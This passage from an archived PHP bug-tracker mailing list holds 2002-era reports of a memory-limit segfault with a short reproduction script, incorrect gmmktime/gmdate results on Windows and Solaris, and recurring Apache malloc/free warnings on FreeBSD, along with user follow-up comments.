([PHP]-section),
---
log_errors = On
error_log = syslog
---
PHP first shows an memory-limit error, after that Apache/PHP dies with
an segmentation fault. If error_log is set to /some/file, PHP is
unable to log anything. The only logging facility that logs the
segmentation fault is syslog.

Demonstration:
?php
  $theline = hello, i'm the line;
  for ($i = 0; $i  100; $i++) $testarr[$i] = $theline;
?

Following script does'nt cause a segmentation fault:
?php
  for ($i = 0; $i  100; $i++) $testarr[$i] = hello, i'm the
line;
?

So far we could test following Versions:
PHP  Webserver OS  console (sf/ml)  apachemod
(sf/ml)
4.0.1- Linux ?   X/-   
-/-
4.0.2Apache 1.3.?  Linux ?   ?/?   
?/?
4.0.6Apache 1.3.19 Linux 2.2.19  X/X   
X/X
4.0.6Apache 1.3.22 Linux 2.4.18  X/X   
X/X
4.1.2Apache 1.3.22 Linux ?   X/X   
X/X
4.1.2- Linux 2.4.17  X/X   
-/-
4.1.2Apache 1.2.24 Windows 2000  X/-   
X/-
4.2.0rc1 Apache 1.3.24 Linux 2.4.18  -/X   
X/X

* sf = Segmentation fault
* ml = Memory limit error




-- 
Edit this bug report at http://bugs.php.net/?id=16360edit=1

Bug #14391 Updated: gmmktime, gmdate work incorrect

[max]

 ID:   14391
 Updated by:   [EMAIL PROTECTED]
 Reported By:  [EMAIL PROTECTED]
 Status:   No Feedback
 Bug Type: Date/time related
 Operating System: Windows 2000 Server
 PHP Version:  4.0.6
 New Comment:

Have just replicated it with 4.1.2 on Win2K.

So Solaris and Win2K - the two biggest server platforms - are still
both affected. Could someone please sort this out? Or at least please
change the status of this bug, since there is now ample feedback that
shows that it's still alive...


Previous Comments:


[2002-02-22 05:52:09] [EMAIL PROTECTED]

I setuped php4.1.1 on my Win2K, and now there is no problem with Z
parameter in gmdate() function, but timestamp returned by gmmktime in
winter time is still wrong. 
Will be this bug fixed?



[2002-02-22 05:16:06] [EMAIL PROTECTED]

Hi,

This bug is still here, and still causing grief. Sadly, it's been
marked No Feedback now. Will someone please sort this? I can't
imagine it's a particularly complicated thing to fix, since it seems to
be okay on some platforms.

Max



[2002-02-19 15:40:37] [EMAIL PROTECTED]

Any updates on this bug as it appears to still be in 4.1.1



[2002-02-14 00:00:03] [EMAIL PROTECTED]

No feedback was provided for this bug for over a month, so it is
being suspended automatically. If you are able to provide the
information that was originally requested, please do so and change
the status of the bug back to Open.



[2002-01-27 18:40:15] [EMAIL PROTECTED]

i have two systems a)redhat 7.0 and b) win2000.
both have PHP Version 4.1.1

each has exactly the same code.

any calls to gmmktime on linux are fine, but win2000 is not, which is
unfortunate due to the fact that it's a calendar application.

any idea when this will be cleared up?



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/14391

-- 
Edit this bug report at http://bugs.php.net/?id=14391edit=1

Bug #15820: Apache 1.3.23, MySQL Client 3.23.49, PHP 4.1.2, same error with PHP 4.1.1 befor

[max]

From: [EMAIL PROTECTED]
Operating system: FreeBSD 4.5-STABLE
PHP version:  4.1.2
PHP Bug Type: Apache related
Bug description:  Apache 1.3.23, MySQL Client 3.23.49, PHP 4.1.2, same error with PHP 
4.1.1 befor

Hello,

I have a FreeBSD 4.5-STABLE box running, when i start apache first all
works fine, but after like 3 minutes in the logfile i see this messages: 

httpd in free(): warning: chunk is already free
httpd in free(): warning: chunk is already free
httpd in free(): warning: chunk is already free
httpd in free(): warning: chunk is already free
httpd in free(): warning: chunk is already free
httpd in free(): warning: chunk is already free

after another 2 minutes the logfile gets flooded of hundred of this
messages:

httpd in free(): warning: recursive call
httpd in free(): warning: recursive call
httpd in free(): warning: recursive call
httpd in free(): warning: recursive call
httpd in free(): warning: recursive call
httpd in free(): warning: recursive call
...
...

right after this i get all time this error(this error didn't appear
before):

httpd in malloc(): warning: recursive call
httpd in malloc(): warning: recursive call
[Fri Mar  1 19:49:16 2002] [alert] [client 195.93.64.xx]
/usr/local/httpd/htdocs/qm-dev/.htaccess: RewriteRule: cannot compile
regular expression 'F([0-9]+)(.htm(l)?)?'

httpd in malloc(): warning: recursive call
httpd in malloc(): warning: recursive call
[Fri Mar  1 19:49:19 2002] [alert] [client 217.228.1.xx]
/usr/local/httpd/htdocs/qm-dev/.htaccess: RewriteRule: cannot compile
regular expression 'F([0-9]+)(.htm(l)?)?'

...
...

The php doesn't work well after this, i get sometimes  errors, it tells me
there would be errors in the code, but if i refresh it works fine, and the
apache prints Internal Server Error... but this happens only under high
server load. Is it a PHP bug ? What might we do to fix that?

Ciao,
Max Krüper

P.S. Before we used a Linux Server with PHP 4.0.(4or6) and all worked
fine.
-- 
Edit bug report at http://bugs.php.net/?id=15820edit=1
-- 
Fixed in CVS:http://bugs.php.net/fix.php?id=15820r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=15820r=alreadyfixed
Need backtrace:  http://bugs.php.net/fix.php?id=15820r=needtrace
Try newer version:   http://bugs.php.net/fix.php?id=15820r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=15820r=support
Expected behavior:   http://bugs.php.net/fix.php?id=15820r=notwrong
Not enough info: http://bugs.php.net/fix.php?id=15820r=notenoughinfo
Submitted twice: http://bugs.php.net/fix.php?id=15820r=submittedtwice

Bug #15820 Updated: httpd in malloc(): warning: recursive call

[max]

 ID:   15820
 Updated by:   [EMAIL PROTECTED]
-Summary:  Apache 1.3.23, MySQL Client 3.23.49, PHP 4.1.2, same
   error with PHP 4.1.1 befor
 Reported By:  [EMAIL PROTECTED]
 Status:   Open
 Bug Type: Apache related
 Operating System: FreeBSD 4.5-STABLE
 PHP Version:  4.1.2
 New Comment:

Hello,

I have a FreeBSD 4.5-STABLE box running, when i start apache first all
works fine, but after like 3 minutes in the logfile i see this
messages:

httpd in free(): warning: chunk is already free
httpd in free(): warning: chunk is already free
httpd in free(): warning: chunk is already free
httpd in free(): warning: chunk is already free
httpd in free(): warning: chunk is already free
httpd in free(): warning: chunk is already free

after another 2 minutes the logfile gets flooded of hundred of this
messages:

httpd in free(): warning: recursive call
httpd in free(): warning: recursive call
httpd in free(): warning: recursive call
httpd in free(): warning: recursive call
httpd in free(): warning: recursive call
httpd in free(): warning: recursive call
...
...

right after this i get all time this error(this error didn't appear
before):

httpd in malloc(): warning: recursive call
httpd in malloc(): warning: recursive call
[Fri Mar  1 19:49:16 2002] [alert] [client 195.93.64.xx]
/usr/local/httpd/htdocs/qm-dev/.htaccess: RewriteRule: cannot compile
regular expression 'F([0-9]+)(.htm(l)?)?'

httpd in malloc(): warning: recursive call
httpd in malloc(): warning: recursive call
[Fri Mar  1 19:49:19 2002] [alert] [client 217.228.1.xx]
/usr/local/httpd/htdocs/qm-dev/.htaccess: RewriteRule: cannot compile
regular expression 'F([0-9]+)(.htm(l)?)?'

...
...

The php doesn't work well after this, i get sometimes  errors, it
tells
me there would be errors in the code, but if i refresh it works fine,
and the apache prints Internal Server Error... but this happens only
under high server load. Is it a PHP bug ? What might we do to fix
that?

Ciao,
Max Krüper

P.S. Before we used a Linux Server with PHP 4.0.(4or6) and all worked
fine.


Previous Comments:


[2002-03-01 14:17:59] [EMAIL PROTECTED]

Hello,

I have a FreeBSD 4.5-STABLE box running, when i start apache first all
works fine, but after like 3 minutes in the logfile i see this
messages: 

httpd in free(): warning: chunk is already free
httpd in free(): warning: chunk is already free
httpd in free(): warning: chunk is already free
httpd in free(): warning: chunk is already free
httpd in free(): warning: chunk is already free
httpd in free(): warning: chunk is already free

after another 2 minutes the logfile gets flooded of hundred of this
messages:

httpd in free(): warning: recursive call
httpd in free(): warning: recursive call
httpd in free(): warning: recursive call
httpd in free(): warning: recursive call
httpd in free(): warning: recursive call
httpd in free(): warning: recursive call
...
...

right after this i get all time this error(this error didn't appear
before):

httpd in malloc(): warning: recursive call
httpd in malloc(): warning: recursive call
[Fri Mar  1 19:49:16 2002] [alert] [client 195.93.64.xx]
/usr/local/httpd/htdocs/qm-dev/.htaccess: RewriteRule: cannot compile
regular expression 'F([0-9]+)(.htm(l)?)?'

httpd in malloc(): warning: recursive call
httpd in malloc(): warning: recursive call
[Fri Mar  1 19:49:19 2002] [alert] [client 217.228.1.xx]
/usr/local/httpd/htdocs/qm-dev/.htaccess: RewriteRule: cannot compile
regular expression 'F([0-9]+)(.htm(l)?)?'

...
...

The php doesn't work well after this, i get sometimes  errors, it tells
me there would be errors in the code, but if i refresh it works fine,
and the apache prints Internal Server Error... but this happens only
under high server load. Is it a PHP bug ? What might we do to fix
that?

Ciao,
Max Krüper

P.S. Before we used a Linux Server with PHP 4.0.(4or6) and all worked
fine.




-- 
Edit this bug report at http://bugs.php.net/?id=15820edit=1

Bug #14391 Updated: gmmktime, gmdate work incorrect

[max]

 ID:   14391
 Updated by:   [EMAIL PROTECTED]
 Reported By:  [EMAIL PROTECTED]
 Status:   No Feedback
 Bug Type: Date/time related
 Operating System: Windows 2000 Server
 PHP Version:  4.0.6
 New Comment:

Hi,

This bug is still here, and still causing grief. Sadly, it's been
marked No Feedback now. Will someone please sort this? I can't
imagine it's a particularly complicated thing to fix, since it seems to
be okay on some platforms.

Max


Previous Comments:


[2002-02-19 15:40:37] [EMAIL PROTECTED]

Any updates on this bug as it appears to still be in 4.1.1



[2002-02-14 00:00:03] [EMAIL PROTECTED]

No feedback was provided for this bug for over a month, so it is
being suspended automatically. If you are able to provide the
information that was originally requested, please do so and change
the status of the bug back to Open.



[2002-01-27 18:40:15] [EMAIL PROTECTED]

i have two systems a)redhat 7.0 and b) win2000.
both have PHP Version 4.1.1

each has exactly the same code.

any calls to gmmktime on linux are fine, but win2000 is not, which is
unfortunate due to the fact that it's a calendar application.

any idea when this will be cleared up?



[2002-01-20 10:54:51] [EMAIL PROTECTED]

Here's an example:

first of all, to show that the system understands what's going on:

$ date +%c %Z
Tue Dec 18 22:51:16 2001 GMT
$ date -u +%c %Z
Tue Dec 18 22:51:21 2001 GMT

 - same result. so the machine knows what tz it's in.

Now, I'm in GMT at the moment, so 

echo date(H:i,mktime(22,20,00,12,18,01)).p;  //gives 22.20
echo gmdate(H:i,mktime(22,20,00,12,18,01)).p; // gives 22.20

as expected. but...

echo date(H:i,gmmktime(22,20,00,12,18,01)).p;  //gives 21.20
echo gmdate(H:i,gmmktime(22,20,00,12,18,01)).p; // gives 21.20

These should also give 22.20, so it looks to me that gmmktime() is
screwed.

Max



[2002-01-20 10:41:42] [EMAIL PROTECTED]

I've got this problem on 4.0.5 on solaris, could someone confirm this
for me? 

SunOS mimosa 5.7 Generic_106541-14 sun4u sparc SUNW,Ultra-4

Max



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/14391

-- 
Edit this bug report at http://bugs.php.net/?id=14391edit=1